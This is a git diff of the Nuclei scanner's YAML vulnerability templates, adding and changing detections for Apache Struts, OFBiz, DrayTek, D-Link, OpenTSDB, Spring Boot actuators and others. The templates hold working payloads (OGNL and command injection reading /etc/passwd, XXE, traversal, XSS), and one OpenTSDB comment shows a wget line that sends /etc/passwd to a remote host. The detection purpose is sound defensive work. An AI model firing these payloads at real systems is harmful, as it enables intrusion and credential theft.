│   ├── wordpress-user-enumeration.yaml
│   ├── wordpress-wordfence-xss.yaml
│   └── wordpress-wpcourses-info-disclosure.yaml
│   ├── wordpress-wpcourses-info-disclosure.yaml
│   ├── wp-enabled-registration.yaml
│   └── wp-xmlrpc.yaml
└── workflows
├── artica-web-proxy-workflow.yaml
├── basic-auth-workflow.yaml
├── bigip-workflow.yaml
├── cisco-asa-workflow.yaml
├── grafana-workflow.yaml
@@ -568,13 +597,14 @@ An overview of the nuclei template directory including number of templates assoc
├── sap-netweaver-workflow.yaml
├── solarwinds-orion-workflow.yaml
├── springboot-workflow.yaml
├── thinkphp-workflow.yaml
├── vbulletin-workflow.yaml
└── wordpress-workflow.yaml
```
</details>
**53 directories, 474 files**.
**56 directories, 501 files**.
📖 Documentation
-----
-1
View File
@@ -11,7 +11,6 @@ requests:
path:
- "{{BaseURL}}/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
- "{{BaseURL}}/api/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
- "{{BaseURL}}:8080/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
matchers-condition: and
matchers:
- type: status
+28
View File
@@ -0,0 +1,28 @@
id: CVE-2018-8033
info:
name: Apache OFBiz XXE
author: pikpikcu
severity: high
description: XXE injection (file disclosure) exploit for Apache OFBiz 16.11.04
requests:
- raw:
- |
POST /webtools/control/xmlrpc HTTP/1.1
Host: {{Hostname}}
Accept: */*
Accept-Language: en
Content-Type: application/xml
<?xml version="1.0"?><!DOCTYPE x [<!ENTITY disclose SYSTEM "file://///etc/passwd">]><methodCall><methodName>&disclose;</methodName></methodCall>
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0:"
part: body
- type: status
status:
- 200
-1
View File
@@ -24,7 +24,6 @@ requests:
- method: GET
path:
- "{{BaseURL}}/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow"
- "{{BaseURL}}:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow"
matchers-condition: and
matchers:
- type: word
-1
View File
@@ -9,7 +9,6 @@ requests:
- method: GET
path:
- "{{BaseURL}}/xmlpserver/servlet/adfresource?format=aaaaaaaaaaaaaaa&documentId=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini"
- "{{BaseURL}}:9502/xmlpserver/servlet/adfresource?format=aaaaaaaaaaaaaaa&documentId=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini"
matchers-condition: and
matchers:
- type: word
-1
View File
@@ -18,7 +18,6 @@ requests:
- method: POST
path:
- "{{BaseURL}}/_async/AsyncResponseService"
- "{{BaseURL}}:7001/_async/AsyncResponseService"
body: >-
<?xml version="1.0" encoding="UTF-8" ?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
-1
View File
@@ -19,7 +19,6 @@ requests:
- method: POST
path:
- "{{BaseURL}}/api/timelion/run"
- "{{BaseURL}}:5601/api/timelion/run"
headers:
User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55"
Content-Type: "application/json; charset=utf-8"
-27
View File
@@ -1,27 +0,0 @@
id: CVE-2020-10199
info:
name: Nexus Repository Manager 3 RCE
author: hetroublemakr
severity: high
description: Sonatype Nexus Repository before 3.21.2 allows JavaEL Injection (issue 1 of 2).
# reference: https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
requests:
- method: POST
path:
- '{{BaseURL}}/rest/beta/repositories/go/group'
headers:
Content-Type: application/json
body: '{"name": "internal","online": true,"storage": {"blobStoreName": "default","strictContentTypeValidation": true},"group": {"memberNames": ["$\\c{ 1337 * 1337 }"]}}'
matchers-condition: and
matchers:
- type: word
words:
- "1787569"
part: body
- type: status
status:
- 400
-25
View File
@@ -1,25 +0,0 @@
id: CVE-2020-10204
info:
name: Sonatype Nexus Repository RCE
author: hetroublemakr
severity: high
description: A Remote Code Execution vulnerability has been discovered in Nexus Repository Manager requiring immediate action. The vulnerability allows for an attacker with an administrative account on NXRM to execute arbitrary code by crafting a malicious request to NXRM
# reference: https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
requests:
- method: POST
path:
- '{{BaseURL}}/extdirect'
body: '{"action":"coreui_User","method":"update","data":[{"userId":"anonymous","version":"1","firstName":"Anonymous","lastName":"User2","email":"[email protected]","status":"active","roles":["$\\c{1337*1337"]}],"type":"rpc","tid":28}'
matchers-condition: and
matchers:
- type: word
words:
- "1787569"
part: body
- type: status
status:
- 200
+40
View File
@@ -0,0 +1,40 @@
id: CVE-2020-13937
info:
name: Apache Kylin Unauth
author: pikpikcu
severity: medium
description: |
Apache Kylin 2.0.0, 2.1.0, 2.2.0, 2.3.0, 2.3.1, 2.3.2, 2.4.0,
2.4.1, 2.5.0, 2.5.1, 2.5.2, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4,
2.6.5, 2.6.6, 3.0.0-alpha, 3.0.0-alpha2, 3.0.0-beta, 3.0.0, 3.0.1,
3.0.2, 3.1.0, 4.0.0-alpha has one restful api which exposed
Kylin's configuration information without any authentication,
so it is dangerous because some confidential information entries will be disclosed to everyone.
# References:
# https://s.tencent.com/research/bsafe/1156.html
# https://nvd.nist.gov/vuln/detail/CVE-2020-13937
requests:
- method: GET
path:
- "{{BaseURL}}/kylin/api/admin/config"
headers:
Content-Type: application/json
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "application/json"
condition: and
part: header
- type: word
words:
- "config"
condition: and
part: body
-1
View File
@@ -19,7 +19,6 @@ requests:
- method: POST
path:
- "{{BaseURL}}/context.json"
- "{{BaseURL}}:8181/context.json"
headers:
Content-Type: application/json
body: |
-1
View File
@@ -13,7 +13,6 @@ requests:
- method: GET
path:
- "{{BaseURL}}"
- "{{BaseURL}}:8081"
headers:
X-Forwarded-Prefix: "https://foo.nl"
matchers-condition: and
-1
View File
@@ -18,7 +18,6 @@ requests:
- method: POST
path:
- "{{BaseURL}}/run"
- "{{BaseURL}}:8000/run"
body: "token=1337&client=ssh&tgt=*&fun=a&roster=projectdiscovery&ssh_priv=nuclei"
headers:
Content-Type: application/x-www-form-urlencoded # CherryPy will abort w/o define this header
+26
View File
@@ -0,0 +1,26 @@
id: CVE-2020-17530
info:
name: Apache Struts RCE
author: pikpikcu
severity: critical
# Forced OGNL evaluation, when evaluated on raw user input in tag attributes,
# may lead to remote code execution. Affected software : Apache Struts 2.0.0 - Struts 2.5.25.
# References:
# http://jvn.jp/en/jp/JVN43969166/index.html
# http://packetstormsecurity.com/files/160721/Apache-Struts-2-Forced-Multi-OGNL-Evaluation.html
# https://cwiki.apache.org/confluence/display/WW/S2-061
# https://security.netapp.com/advisory/ntap-20210115-0005/
requests:
- method: GET
path:
- "{{BaseURL}}/?id=%25%7B%28%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D%29.%28%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D%29.%28%23bean%3D%23instancemanager.newInstance%28%22org.apache.commons.collections.BeanMap%22%29%29.%28%23bean.setBean%28%23stack%29%29.%28%23context%3D%23bean.get%28%22context%22%29%29.%28%23bean.setBean%28%23context%29%29.%28%23macc%3D%23bean.get%28%22memberAccess%22%29%29.%28%23bean.setBean%28%23macc%29%29.%28%23emptyset%3D%23instancemanager.newInstance%28%22java.util.HashSet%22%29%29.%28%23bean.put%28%22excludedClasses%22%2C%23emptyset%29%29.%28%23bean.put%28%22excludedPackageNames%22%2C%23emptyset%29%29.%28%23arglist%3D%23instancemanager.newInstance%28%22java.util.ArrayList%22%29%29.%28%23arglist.add%28%22cat+%2Fetc%2Fpasswd%22%29%29.%28%23execute%3D%23instancemanager.newInstance%28%22freemarker.template.utility.Execute%22%29%29.%28%23execute.exec%28%23arglist%29%29%7D"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0:"
part: body
+46
View File
@@ -0,0 +1,46 @@
id: CVE-2020-24579
info:
name: DLINK DSL 2888a RCE
author: pikpikcu
severity: medium
reference: https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/d-link-multiple-security-vulnerabilities-leading-to-rce/
requests:
- raw:
- | # Response:Location: /page/login/login_fail.html
POST / HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: id,en-US;q=0.7,en;q=0.3
DNT: 1
Connection: close
Cookie: uid=6gPjT2ipmNz
Upgrade-Insecure-Requests: 1
Content-Length: 0
username=admin&password=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
- | # Get /etc/passwd
GET /cgi-bin/execute_cmd.cgi?timestamp=1589333279490&cmd=cat%20/etc/passwd HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: id,en-US;q=0.7,en;q=0.3
DNT: 1
Connection: close
Cookie: uid=6gPjT2ipmNz
Upgrade-Insecure-Requests: 1
Content-Length: 0
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: regex
regex:
- "nobody:[x*]:65534:65534"
- "root:[x*]:0:0"
condition: or
-1
View File
@@ -24,7 +24,6 @@ requests:
- method: GET
path:
- "{{BaseURL}}/console/login/LoginForm.jsp"
- "{{BaseURL}}:7001/console/login/LoginForm.jsp"
matchers-condition: and
matchers:
- type: word
+31
View File
@@ -0,0 +1,31 @@
id: CVE-2020-27986
info:
name: SonarQube unauth
author: pikpikcu
severity: medium
description: |
SonarQube 8.4.2.36762 allows remote attackers to discover cleartext SMTP,
SVN, and GitLab credentials via the api/settings/values URI.
NOTE: reportedly, the vendor's position for SMTP and SVN is "it is the administrator's responsibility to configure it."
# Refrences: https://nvd.nist.gov/vuln/detail/CVE-2020-27986
requests:
- method: GET
path:
- "{{BaseURL}}/api/settings/values"
matchers-condition: and
matchers:
- type: word
words:
- email.smtp_host.secured
- email.smtp_password.secured
- email.smtp_port.secured
- email.smtp_username.secured
part: body
condtion: and
- type: status
status:
- 200
+27
View File
@@ -0,0 +1,27 @@
id: CVE-2020-35476
info:
name: OpenTSDB 2.4.0 Remote Code Execution
author: pikpikcu
severity: critical
description: A remote code execution vulnerability occurs in OpenTSDB through 2.4.0 via command injection in the yrange parameter. The yrange value is written to a gnuplot file in the /tmp directory.
reference: https://github.com/OpenTSDB/opentsdb/issues/2051
# Extracting /etc/passwd to remote host:-
# /q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27wget%20--post-file%20/etc/passwd%20http://my-host%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
requests:
- method: GET
path:
- "{{BaseURL}}/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27wget%20http://example.com%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: regex
regex:
- plotted
- timing
part: body
condtion: and
+1 -2
View File
@@ -8,8 +8,7 @@ info:
requests:
- method: GET
path:
- "{{BaseURL}}:8080/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"
- "{{BaseURL}}:8888/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"
- "{{BaseURL}}/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"
matchers-condition: and
matchers:
- type: status
-1
View File
@@ -13,7 +13,6 @@ requests:
- method: GET
path:
- '{{BaseURL}}/webmail/?color=%22%3E%3Csvg/onload=alert(document.domain)%3E%22'
- '{{BaseURL}}:32000/webmail/?color=%22%3E%3Csvg/onload=alert(document.domain)%3E%22'
matchers-condition: and
matchers:
- type: word
+33
View File
@@ -0,0 +1,33 @@
id: CVE-2020-8515
info:
name: DrayTek pre-auth RCE
author: pikpikcu
severity: critical
reference: https://blog.netlab.360.com/two-zero-days-are-targeting-draytek-broadband-cpe-devices-en/
# References:
# https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)
# https://blog.netlab.360.com/two-zero-days-are-targeting-draytek-broadband-cpe-devices-en/
requests:
- raw:
- |
POST /cgi-bin/mainfunction.cgi HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Connection: close
action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0:"
part: body
- type: status
status:
- 200
-1
View File
@@ -12,7 +12,6 @@ requests:
Cookie: "JSESSIONID=../../../../../usr/local/tomcat/groovy"
path:
- "{{BaseURL}}/index.jsp"
- "{{BaseURL}}:8080/index.jsp"
matchers-condition: and
matchers:
- type: status
-15
View File
@@ -24,21 +24,6 @@ requests:
<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
- |
POST /webtools/control/xmlrpc HTTP/1.1
Host: {{Hostname}}:8080
Origin: http://{{Hostname}}:8080
Content-Type: application/xml
<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
- |
POST /webtools/control/xmlrpc HTTP/1.1
Host: {{Hostname}}:8443
Origin: https://{{Hostname}}:8443
Content-Type: application/xml
<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
matchers-condition: and
matchers:
- type: word
+29
View File
@@ -0,0 +1,29 @@
id: CVE-2021-22873
info:
name: Revive Adserver < 5.1.0 Open Redirect
author: pudsec
severity: low
description: Revive Adserver before 5.1.0 is vulnerable to open redirects via the dest, oadest, and ct0 parameters of the lg.php and ck.php delivery scripts.
reference: https://nvd.nist.gov/vuln/detail/CVE-2021-22873
requests:
- method: GET
path:
- "{{BaseURL}}/ads/www/delivery/lg.php?dest=http://example.com"
- "{{BaseURL}}/adserve/www/delivery/lg.php?dest=http://example.com"
- "{{BaseURL}}/adserver/www/delivery/lg.php?dest=http://example.com"
- "{{BaseURL}}/openx/www/delivery/lg.php?dest=http://example.com"
- "{{BaseURL}}/revive/www/delivery/lg.php?dest=http://example.com"
- "{{BaseURL}}/www/delivery/lg.php?dest=http://example.com"
redirects: true
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "<title>Example Domain</title>"
part: body
+30
View File
@@ -0,0 +1,30 @@
id: CVE-2021-3019
info:
name: Lanproxy Directory Traversal
author: pikpikcu
severity: medium
# Refrence: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3019
requests:
- method: GET
path:
- "{{BaseURL}}/../conf/config.properties"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "application/octet-stream"
condition: and
part: header
- type: word
words:
- "config.admin.username"
- "config.admin.password"
condition: and
part: body
View File
File mode changed.
View File
File mode changed.
@@ -9,7 +9,6 @@ requests:
- method: GET
path:
- "{{BaseURL}}/api/whoami"
- "{{BaseURL}}:15672/api/whoami"
headers:
Authorization: "Basic Z3Vlc3Q6Z3Vlc3Q="
matchers-condition: and
@@ -16,7 +16,7 @@ requests:
- method: GET
path:
- "{{BaseURL}}/SolarWinds/InformationService/v3/Json/Query?query=SELECT+Uri+FROM+Orion.Pollers+ORDER+BY+PollerID+WITH+ROWS+1+TO+3+WITH+TOTALROWS"
- "{{BaseURL}}:17778/SolarWinds/InformationService/v3/Json/Query?query=SELECT+Uri+FROM+Orion.Pollers+ORDER+BY+PollerID+WITH+ROWS+1+TO+3+WITH+TOTALROWS"
headers:
Authorization: "Basic YWRtaW46"
matchers-condition: and
View File
File mode changed.
View File
File mode changed.
+2 -1
View File
@@ -8,7 +8,8 @@ info:
requests:
- method: GET
path:
- '{{BaseURL}}/'
- '{{BaseURL}}'
matchers:
- type: word
words:
+1 -1
View File
@@ -8,7 +8,7 @@ info:
requests:
- method: GET
path:
- '{{BaseURL}}/'
- '{{BaseURL}}'
- '{{BaseURL}}/admin/'
matchers:
- type: word
+2 -1
View File
@@ -8,7 +8,8 @@ info:
requests:
- method: GET
path:
- '{{BaseURL}}/'
- '{{BaseURL}}'
matchers:
- type: word
words:
+2 -1
View File
@@ -8,7 +8,8 @@ info:
requests:
- method: GET
path:
- '{{BaseURL}}/'
- '{{BaseURL}}'
matchers:
- type: word
words:
View File
File mode changed.
+2 -1
View File
@@ -8,7 +8,8 @@ info:
requests:
- method: GET
path:
- '{{BaseURL}}/'
- '{{BaseURL}}'
matchers:
- type: word
words:
+2 -1
View File
@@ -8,7 +8,8 @@ info:
requests:
- method: GET
path:
- '{{BaseURL}}/'
- '{{BaseURL}}'
matchers:
- type: word
words:
View File
File mode changed.
+2 -1
View File
@@ -8,7 +8,8 @@ info:
requests:
- method: GET
path:
- '{{BaseURL}}/'
- '{{BaseURL}}'
matchers:
- type: word
words:
View File
File mode changed.
+2 -1
View File
@@ -8,7 +8,8 @@ info:
requests:
- method: GET
path:
- '{{BaseURL}}/'
- '{{BaseURL}}'
matchers:
- type: word
words:
+2 -1
View File
@@ -8,7 +8,8 @@ info:
requests:
- method: GET
path:
- '{{BaseURL}}/'
- '{{BaseURL}}'
matchers:
- type: word
words:
+2 -1
View File
@@ -8,7 +8,8 @@ info:
requests:
- method: GET
path:
- '{{BaseURL}}/'
- '{{BaseURL}}'
matchers:
- type: word
words:
@@ -1,15 +1,15 @@
id: public-tomcat-instance
id: public-tomcat-manager
info:
name: tomcat manager disclosure
author: Ahmed Sherif
author: Ahmed Sherif & geeknik
severity: info
requests:
- method: GET
path:
- '{{BaseURL}}/manager/html'
- '{{BaseURL}}:8080/manager/html'
matchers-condition: and
matchers:
- type: word
@@ -18,3 +18,5 @@ requests:
- type: status
status:
- 401
- 200
condition: or
-1
View File
@@ -9,7 +9,6 @@ requests:
- method: GET
path:
- '{{BaseURL}}'
- "{{BaseURL}}:15672"
matchers:
- type: word
words:
+2 -1
View File
@@ -8,7 +8,8 @@ info:
requests:
- method: GET
path:
- '{{BaseURL}}/'
- '{{BaseURL}}'
matchers:
- type: word
words:
@@ -9,7 +9,6 @@ requests:
- method: GET
path:
- "{{BaseURL}}/sap/hana/xs/formLogin/login.html"
- "{{BaseURL}}:8000/sap/hana/xs/formLogin/login.html"
redirects: true
matchers:
- type: word
View File
File mode changed.
View File
File mode changed.
View File
File mode changed.
-3
View File
@@ -9,9 +9,6 @@ requests:
- method: GET
path:
- "{{BaseURL}}/sessions/new"
- "{{BaseURL}}:9000/sessions/new"
- "{{BaseURL}}:8080/sessions/new"
- "{{BaseURL}}:9090/sessions/new"
matchers:
- type: word
-1
View File
@@ -9,7 +9,6 @@ requests:
- method: GET
path:
- "{{BaseURL}}/dashboard/"
- "{{BaseURL}}:8080/dashboard/"
matchers:
- type: word
words:
View File
File mode changed.
View File
File mode changed.
View File
File mode changed.
View File
File mode changed.
View File
File mode changed.
View File
File mode changed.
View File
File mode changed.
@@ -0,0 +1,34 @@
id: alibaba-canal-info-leak
info:
name: Alibaba Canal Info Leak
author: pikpikcu
severity: info
# https://github.com/alibaba/canal/issues/632
# https://netty.io/wiki/reference-counted-objects.html
# https://my.oschina.net/u/4581879/blog/4753320
requests:
- method: GET
path:
- "{{BaseURL}}/api/v1/canal/config/1/1"
headers:
Content-Type: application/json
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "application/json"
condition: and
part: header
- type: word
words:
- "ncanal.aliyun.accessKey"
- "ncanal.aliyun.secretKey"
condition: and
part: body
View File
File mode changed.
View File
File mode changed.
+2 -1
View File
@@ -11,6 +11,7 @@ requests:
- "{{BaseURL}}/composer.json"
- "{{BaseURL}}/composer.lock"
- "{{BaseURL}}/.composer/composer.json"
- "{{BaseURL}}/vendor/composer/installed.json"
matchers:
- type: dsl
@@ -21,4 +22,4 @@ requests:
- type: dsl
name: composer.json
dsl:
- "contains(body, 'require') == true && contains(tolower(all_headers), 'application/json') == true && status_code == 200"
- "contains(body, 'require') == true && contains(tolower(all_headers), 'application/json') == true && status_code == 200"
View File
File mode changed.
View File
File mode changed.
+2 -1
View File
@@ -8,7 +8,8 @@ info:
requests:
- method: GET
path:
- '{{BaseURL}}/'
- '{{BaseURL}}'
matchers:
- type: word
words:
View File
File mode changed.
+2 -1
View File
@@ -9,7 +9,8 @@ info:
requests:
- method: GET
path:
- '{{BaseURL}}/'
- '{{BaseURL}}'
redirects: false
matchers-condition: and
matchers:
@@ -9,12 +9,6 @@ requests:
- method: GET
path:
- "{{BaseURL}}"
- "{{BaseURL}}:8000"
- "{{BaseURL}}:8080"
- "{{BaseURL}}:8001"
- "{{BaseURL}}:9080"
- "{{BaseURL}}:8443"
- "{{BaseURL}}:8060"
matchers-condition: and
matchers:
-2
View File
@@ -9,9 +9,7 @@ requests:
- method: GET
path:
- '{{BaseURL}}/_cat/indices?v'
- '{{BaseURL}}:9200/_cat/indices?v'
- '{{BaseURL}}/_all/_search'
- '{{BaseURL}}:9200/_all/_search'
matchers-condition: and
matchers:
@@ -9,9 +9,7 @@ requests:
- method: GET
path:
- "http://{{Hostname}}/version"
- "http://{{Hostname}}:2376/version"
- "http://{{Hostname}}/v1.24/version"
- "http://{{Hostname}}:2376/v1.24/version"
matchers-condition: and
matchers:
+1 -3
View File
@@ -8,10 +8,8 @@ info:
requests:
- method: GET
path:
- '{{BaseURL}}/'
- '{{BaseURL}}:5601/'
- '{{BaseURL}}'
- '{{BaseURL}}/app/kibana/'
- '{{BaseURL}}:5601/app/kibana/'
matchers-condition: and
matchers:
-1
View File
@@ -12,7 +12,6 @@ requests:
path:
- '{{BaseURL}}/pods'
- '{{BaseURL}}/api/v1/pods'
- '{{BaseURL}}:10250/pods'
matchers-condition: and
matchers:
- type: word
@@ -10,8 +10,6 @@ requests:
- method: GET
path:
- "{{BaseURL}}/ADSearch.cc?methodToCall=search"
- "{{BaseURL}}:8443/ADSearch.cc?methodToCall=search"
- "{{BaseURL}}:8080/ADSearch.cc?methodToCall=search"
matchers-condition: and
matchers:
+21
View File
@@ -0,0 +1,21 @@
id: ngnix-status
info:
name: Ngnix Status Page
author: dhiyaneshDK
severity: low
requests:
- method: GET
path:
- "{{BaseURL}}/nginx_status"
matchers-condition: and
matchers:
- type: word
words:
- 'Active connections:'
- type: status
status:
- 200
+24
View File
@@ -0,0 +1,24 @@
id: php-fpm-status
info:
name: PHP-FPM Status
author: geeknik
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/status?full"
matchers-condition: and
matchers:
- type: word
words:
- 'pool:'
- 'process manager:'
- 'start time:'
- 'pid:'
condition: and
- type: status
status:
- 200
@@ -3,7 +3,7 @@ id: salesforce-aura-misconfig
info:
name: Detect the exposure of Salesforce Lightning aura API
author: aaron_costello (@ConspiracyProof)
severity: medium
severity: info
# Reference:-
# https://www.enumerated.de/index/salesforce
-99
View File
@@ -1,99 +0,0 @@
id: springboot-actuators
info:
name: Detect the exposure of Springboot Actuators
author: that_juan_ & dwisiswant0
severity: medium
requests:
- method: GET
path:
- "{{BaseURL}}/actuator"
- "{{BaseURL}}/actuator/auditevents"
- "{{BaseURL}}/actuator/auditLog"
- "{{BaseURL}}/actuator/beans"
- "{{BaseURL}}/actuator/caches"
- "{{BaseURL}}/actuator/conditions"
- "{{BaseURL}}/actuator/configprops"
- "{{BaseURL}}/actuator/configurationMetadata"
- "{{BaseURL}}/actuator/dump"
- "{{BaseURL}}/actuator/env"
- "{{BaseURL}}/actuator/events"
- "{{BaseURL}}/actuator/exportRegisteredServices"
- "{{BaseURL}}/actuator/features"
- "{{BaseURL}}/actuator/flyway"
- "{{BaseURL}}/actuator/healthcheck"
- "{{BaseURL}}/actuator/heapdump"
- "{{BaseURL}}/actuator/httptrace"
- "{{BaseURL}}/actuator/hystrix.stream"
- "{{BaseURL}}/actuator/integrationgraph"
- "{{BaseURL}}/actuator/jolokia"
- "{{BaseURL}}/actuator/liquibase"
- "{{BaseURL}}/actuator/logfile"
- "{{BaseURL}}/actuator/loggers"
- "{{BaseURL}}/actuator/loggingConfig"
- "{{BaseURL}}/actuator/management"
- "{{BaseURL}}/actuator/mappings"
- "{{BaseURL}}/actuator/metrics"
- "{{BaseURL}}/actuator/refresh"
- "{{BaseURL}}/actuator/registeredServices"
- "{{BaseURL}}/actuator/releaseAttributes"
- "{{BaseURL}}/actuator/resolveAttributes"
- "{{BaseURL}}/actuator/scheduledtasks"
- "{{BaseURL}}/actuator/sessions"
- "{{BaseURL}}/actuator/shutdown"
- "{{BaseURL}}/actuator/springWebflow"
- "{{BaseURL}}/actuator/sso"
- "{{BaseURL}}/actuator/ssoSessions"
- "{{BaseURL}}/actuator/statistics"
- "{{BaseURL}}/actuator/status"
- "{{BaseURL}}/actuator/threaddump"
- "{{BaseURL}}/actuator/trace"
- "{{BaseURL}}/auditevents"
- "{{BaseURL}}/autoconfig"
- "{{BaseURL}}/beans"
- "{{BaseURL}}/cloudfoundryapplication"
- "{{BaseURL}}/configprops"
- "{{BaseURL}}/dump"
- "{{BaseURL}}/env"
- "{{BaseURL}}/heapdump"
- "{{BaseURL}}/hystrix.stream"
- "{{BaseURL}}/jolokia"
- "{{BaseURL}}/jolokia/list"
- "{{BaseURL}}:8090/jolokia"
- "{{BaseURL}}:8090/jolokia/list"
- "{{BaseURL}}/loggers"
- "{{BaseURL}}/management"
- "{{BaseURL}}/mappings"
- "{{BaseURL}}/metrics"
- "{{BaseURL}}/threaddump"
- "{{BaseURL}}/trace"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "method"
- "spring"
- "TYPE"
- "system"
- "database"
- "cron"
- "reloadByURL"
- "JMXConfigurator"
- "JMImplementation"
- "EnvironmentManager"
- "org.springframework.boot.loader"
- "health"
condition: or
- type: status
status:
- 200
- type: word
words:
- "X-Application-Context"
- "application/json"
- "application/vnd.spring-boot.actuator"
- "hprof"
condition: or
part: header
@@ -0,0 +1,32 @@
id: springboot-configprops
info:
name: Detect Springboot Configprops Actuator
author: that_juan_ & dwisiswant0 & wdahlenb
severity: low
description: Sensitive environment variables may not be masked
requests:
- method: GET
path:
- "{{BaseURL}}/configprops"
- "{{BaseURL}}/actuator/configprops"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "org.springframework.boot.actuate"
- "beans"
- "contexts"
condition: and
- type: status
status:
- 200
- type: word
words:
- "application/json"
- "application/vnd.spring-boot.actuator"
- "application/vnd.spring-boot.actuator.v1+json"
condition: or
part: header
@@ -0,0 +1,33 @@
id: springboot-env
info:
name: Detect Springboot Env Actuator
author: that_juan_ & dwisiswant0 & wdahlenb
severity: high
description: Sensitive environment variables may not be masked
requests:
- method: GET
path:
- "{{BaseURL}}/env"
- "{{BaseURL}}/actuator/env"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "JAVA_HOME"
- "sping.config.location"
- "spring.application.name"
- "local.server.port"
condition: or
- type: status
status:
- 200
- type: word
words:
- "application/json"
- "application/vnd.spring-boot.actuator"
- "application/vnd.spring-boot.actuator.v1+json"
condition: or
part: header
@@ -0,0 +1,38 @@
id: springboot-heapdump
info:
name: Detect Springboot Heapdump Actuator
author: that_juan_ & dwisiswant0 & wdahlenb
severity: critical
description: Environment variables and HTTP requests can be found in the HPROF
requests:
- method: GET
path:
- "{{BaseURL}}/heapdump"
- "{{BaseURL}}/actuator/heapdump"
matchers-condition: and
matchers:
- type: binary
part: body
binary:
- "4a4156412050524f46494c45" # "JAVA PROFILE"
- "4850524f46" # "HPROF"
- "1f8b080000000000" # Gunzip magic byte
condition: or
- type: status
status:
- 200
- type: word
words:
- "application/octet-stream"
- "application/vnd.spring-boot.actuator"
- "application/vnd.spring-boot.actuator.v1+json"
condition: or
part: header
- type: dsl
dsl:
- "len(body) >= 100000"
- "content_length >= 100000"
condition: or
part: header
@@ -0,0 +1,33 @@
id: springboot-loggers
info:
name: Detect Springboot Loggers
author: that_juan_ & dwisiswant0 & wdahlenb
severity: low
requests:
- method: GET
path:
- "{{BaseURL}}/loggers"
- "{{BaseURL}}/actuator/loggers"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"loggers"'
- '"profiles":'
condition: or
- type: status
status:
- 200
- type: word
words:
- "application/json"
- "application/vnd.spring-boot.actuator"
- "application/vnd.spring-boot.actuator.v1+json"
condition: or
part: header
@@ -0,0 +1,32 @@
id: springboot-mappings
info:
name: Detect Springboot Mappings Actuator
author: that_juan_ & dwisiswant0 & wdahlenb
severity: low
description: Additional routes may be displayed
requests:
- method: GET
path:
- "{{BaseURL}}/mappings"
- "{{BaseURL}}/actuator/mappings"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "mappings"
- "method"
- "produces"
condition: and
- type: status
status:
- 200
- type: word
words:
- "application/json"
- "application/vnd.spring-boot.actuator"
